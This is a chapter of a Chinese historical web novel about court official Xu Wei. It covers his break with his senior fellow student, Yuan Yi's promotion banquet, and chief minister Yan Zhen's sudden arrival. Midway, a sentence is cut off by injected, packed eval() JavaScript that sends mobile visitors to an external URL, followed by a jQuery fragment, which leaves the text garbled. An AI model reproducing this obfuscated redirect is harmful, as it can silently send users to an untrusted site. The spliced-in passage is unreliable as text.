25. 故人回

自打回京,前来徐府拜访的人就络绎不绝。


木琴跟徐渭抱怨:“我们府门在沿河走马道,这些日子来府上的车驾太多了,堵住了路口,京兆尹的人总来帮忙疏导交通,每次吃拿不说,还抱怨我们住的偏僻。”


徐渭正临案描摹着皇帝前日布置的考课,听此话眉梢也未动一下。


他的心思全在这幅字上,或者说是接下来的谋划上:这次皇帝要为太子选太子太保,自己若想再进一步,势必要一举中地。


嘉庆帝喜爱李扬春的行书,笔法灵动,风格潇洒,而徐渭擅长的是宋克的章草。


徐渭描摹了几日,也终是不满意。


忽地,二门处的小厮慌慌张张地跑进来:“大人,不好了!”


木琴正因京兆尹的揶揄烦闷着,遂见他这么没规矩,立刻推了出去,打算好好教教,沉声睨着人:“什么样子?你是绍兴府邸带过来的,还在老太爷身边调教过,怎能直愣地闯到主子房里?”


又想到,这小子守在门房,该是又有人拜访了:“谁来了?”


门房小子被他一训,咽了口唾沫,低声回复:“主子的师兄,陆澄学大人正往书房来了!”


不好,木琴也知道陆大人此时来,一定是来责骂主子,去府州带回一个佞臣。


木琴赶紧进门通禀:“主子,陆大人来了!”


话音刚落,没等主子放下笔,陆大人就冲进门了,高喊:“徐文长,你脑袋进水了吗?恩师平日教导的为官之道,为民之道,你都忘了?”


自打领了去府州的任命,徐渭就知道有这么一天,遂内心未起波澜,吩咐已吓傻了的木琴:“给陆大人看茶。”


木琴一听称呼,顿时明白了主子的心意。陆大人称主子的小字,而主子回复陆大人。他只能暗自叹口气,答道:“是!”


陆大人看他还能这么沉稳,更是气得火大:“你什么意思?带回一个朝廷佞臣,你让恩师的脸面往哪放?你这样做只会让清流们不齿。”


徐渭不悔,反问他:“清流们自诩救世沉疴,可沈炼是什么下场?割肉削骨一百零八刀也不曾吭声,可换来了清流们的脸面?”


陆大人一路走来气喘吁吁,端起木琴上的茶,猛灌一口,“文长,你不能要为沈大人沉冤得雪,而失了本心啊!启沃谟谋,必据正义!严党在朝堂一手遮天,你又引入另一个权奸,这只会让黎民百姓大受其害啊!”


陆大人说的是,袁祎回朝后引得皇帝的作乱!


因私盐案未有直接证据卷了严相认罪,皇帝无奈之下只得大笔一挥,让香夫人和袁州知府、盐务特使林润有担了责。至于小严相在袁州私建钦山堂,侵占民间土地的行为,只判了流刑,也算轻拿轻放了!


袁祎怎会同意这不痛不痒的惩罚,许以帮皇帝充实私库的诱惑,他要连根拔起严相在老家的私库,遂上疏:“清剿袁州和府州等地的盐商,充公私人财产,加重贩卖私盐的刑罚,以斩杀替代流刑,先拿两地的私盐场灶户、周边居民开刀!”


朝堂上下一片哗然,这样的处置将会流尸百里,加剧官民矛盾啊!


但皇帝对吞没朝廷盐税的人,也是恨不得日啖其肉,因此力推峻法严刑,让朝廷百官警示!


徐渭与陆大人的为官立场不同,他认为这是清剿朝廷污瘴之气的代价。对绞杀的两万民众,只能忍痛放手!


他不言不语的,让陆大人灰了心,质问:“你还是我认识的文长吗?你还是那个恩师盛赞有前朝大儒之风的徐渭吗?”


徐渭知他心中关切,但自己已上了这条不归路,不登高不回头,劝慰道:“我会与恩师讲明的,当朝沉疴旧疾,非金刚手段不能济苍生。”


陆大人心灰意冷,小师弟终究是与清流分道扬镳了!


这晚,袁祎在府中设升迁宴,徐渭现在与其同属一派,也需要在宴席上露面,帮袁大人拉拢更多官员。


“木琴,我让你备的礼物,可送到袁大人府上了?”


正在拨弄炭火的木琴,立刻直起身来。他察觉到自陆大人走后,主子没那么顺意,就小心翼翼地回禀:“昨日已送到了!”


“嗯。”


徐渭立在窗前,凝视着影壁上雕刻的松鹤图,本意是品性高洁,可现在……他勾起嘴角,嘲讽道:“画工太拙劣了,命人拆了。”


木琴心内微微叹息,忍受着主子的阴晴不定,嘴上却回复得飞快:“是!”


徐渭随即将直棱窗阖上,眼不见心不烦,旋身接过木琴烧的滚烫的沸水,在桌案前开始沏茶:“准备一会儿去袁府的衣裳。”


木琴续问道,“是穿常服,还是官服?”


徐渭没吭声,斜睨着他,满脸的不耐烦,意思是:这还用问我?!


哭笑不得的木琴躬身出了书房,心中苦涩暗忖:“主子现在好难伺候啊!”


一顶四方轿在袁府前庭处稳稳落地。


皂黑靴子从中走出,门房高声唱词:“都察院副都御史徐渭大人到访,贺袁大人升迁。”


此话一出,周遭男女老少纷纷暗自打量这位朝廷新贵。


入朝仅三年便直升二品,其升官速度前所未见。


官家小姐凑做一堆,低声耳语:“这位徐大人还未婚呢。”


其他尚未婚配的小姐一听她这么直白,都羞红了脸,却不自觉地又抻脖子,细细打量这个俊朗的朝廷新贵。


还有一个自恃家族显赫的贵女,手拧着汗巾扭腰摆步,与徐渭来了一个照面。没等她抛了手巾,就见着长身玉立的徐大人已大步跨走了。


其余小姐看到这一幕,不由得哂笑,窃窃私语。


暗自感叹:人伴官阶升,气随权势长。这位徐大人的气场好强,周边人往他身边一站,霎时矮三分。


徐渭身着淡青色杭稠直?,腰间挂了墨玉,听到门房的唱词先皱了皱眉,再感受到周边扑来的视线,和对面迎来的脂粉香,一再冷了脸。


正与宾客寒暄的袁大人,听得徐渭来了,也未顾及自己官职还高一级,而是离了八仙椅迎上徐渭。


众人看见皇帝近前红人都起身了,几个官职不高的也一并站起,打叠精神见识下朝廷新贵的风采,而自恃官职比二品高的官油子,只扭了扭屁股,好生坐端正了些。


“下官徐渭,恭贺袁大人得偿所愿。”


袁祎俯身阻了他的作揖,而是与他亲近说道:“文长,我为你引荐内阁薛大人。”


未去府州前,徐渭没有上太和殿听朝的资格,故而与朝廷重臣们


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684206|171553||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


还不熟悉,这次算是踏入朝堂权势中心了。


众人刚见了礼,不料门房通报了一个绝不可能出现的贺礼官员名字:“内阁首辅严贞到访,贺袁大人升迁。”


这下,刚刚未挪动屁股的官员都起了身,暗自嘀咕:这唱的是哪一出戏?


袁祎虽在朝堂上与他正面交锋,但是也惯会官场上曲意逢迎那一套。他迎上前去,拱手笑谈:“严相驾临,真是令袁府蓬荜生辉啊!”


一听奸相来了,徐渭也紧盯着门口。


这是他第一次于近处打量严贞。只见那人绕过漆木屏风,鬓角微白,身着玄色长衫,朴素中透着拙雅,眉目间虽已皓首,却俨然一副士大夫的威严气派。与那个玩弄权势、坑杀儒士的邪佞之臣完全挂不上钩。


众人再次落座,严贞话题一转:“听闻都察院副都御史徐渭大人在我之前落轿了,是哪位啊?”


严贞环视一周,与站起的徐渭对上了目光。徐渭垂首拱手:“下官徐渭,落轿时未能察觉严大人尊驾,请大人恕罪。”


“无妨,无妨。”


严贞摆摆手,与袁祎打趣道:“这等青年才俊,只能瞻仰背面风姿,只觉不够,老夫进门前还在猜想,到底是什么样的玉冠公子能惊了一池春水?”


袁祎听罢,笑得前仰后合,却故意出言刺痛严贞:“与贵公子的龙章凤姿相比,如何呀?”


袁祎已得消息,严相子嗣不丰,严世杰是老来得子,从小宠惯得很。娇养长大的公子,这会儿也在流放的路上了。


严贞闻言转过头来,与袁祎森冷对视,主座上的两位上官一时间沉默不语,也令在场所有人都噤了声。


严贞没有搭话,而是抬手示意身旁的人,顷刻间一方红木匣子落于手中,他从内里取出一道密帖,下角饰有镂空云纹花样,朝徐渭说道:


“前日里,吏部收到徐大人的考课档案,知你有意太子太保,这里有一道策问。本该明日召你入内阁领取,今日既然碰巧遇到,便提前交予你。后日徐大人答毕送至吏部吧!”


众人一听?!什么碰巧遇到!


徐渭沉吟片刻,当众接过了密帖。


他知道,严贞此番来是特意离间他和袁祎的,顺便恶心恶心他们。


严贞不仅在朝堂执掌内阁法度,还统领吏部,大小官员的升迁都需有他的签批。此次给出密帖考题,也是让徐渭重新思考,该怎么站位!


在严相心里,能够从府州迎回袁祎的人,必不是什么持正不阿的博雅君子,而该是随时审时而动的豹子!


严贞与袁祎的较量已然开始,而徐渭想登顶,就不得不夹在中间摇摆。


回府的车厢内,徐渭透过窗隙望向乌沉沉的天色,月影遮蔽,似有暴雨前兆。转头时却突然发现,车厢脚凳上放了些祭祀用的纸钱。他的视线觑着木琴,等着主动交代。


木琴面有苦涩,坦白道:“主子,今日是齐山的四十九日祭。他只留下了一座衣冠冢,我便想着烧些纸钱给他,让他在黄泉路上好走些!”


徐渭手中把玩着一枚拇指大小的玉扣,随即应了一声,就再无言语。


及至府邸,徐渭下车后,抖了抖直裰,正欲回头与木琴交代几句,却在角门处意外看见养伤归来的齐石。